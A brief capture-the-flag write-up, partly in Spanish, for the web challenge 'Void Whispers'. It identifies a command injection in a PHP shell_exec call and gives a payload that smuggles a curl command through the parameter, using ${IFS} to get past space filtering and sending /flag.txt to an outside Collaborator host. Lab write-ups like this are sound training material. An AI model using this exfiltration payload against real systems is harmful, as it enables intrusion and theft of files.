Void Whispers

Challenge Description

In the dead of night, an eerie silence envelops the town, broken only by the faintest of echoes—whispers in the void. A phantom mailer is sending out silent commands, unseen and unheard, manipulating systems from the shadows. The townsfolk remain oblivious to the invisible puppeteer pulling their strings. Legends hint that sending the right silent message back could reveal hidden secrets. Can you tap into the darkness, craft the perfect unseen command, and shut down the malevolent force before it plunges the world into chaos?

Categoria: Web
Dificultad: Muy Fácil

Solution

Nos dan los archivos de la pagina. Identificamos que la siguiente parte del codigo es vulnerable a RCE ya que recibe el parametro directamente sin ningun tipo de sanitizacion.

challenge/controllers/IndexController.php
    $whichOutput = shell_exec("which $sendMailPath");
    if (empty($whichOutput)) {
      return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
    }

Enviamos el siguiente payload para obtener la flag. Utilizaremos Burp Collaborator para recibir la peticion pero puedes usar algun otro servidor web como ngrok o webhook.

;curl${IFS}hg16c992nuzd6lqp32qlnj2ac1is6ju8.oastify.com/`cat${IFS}/flag.txt`

En nuestro Burp Collaborator recibiremos la peticion.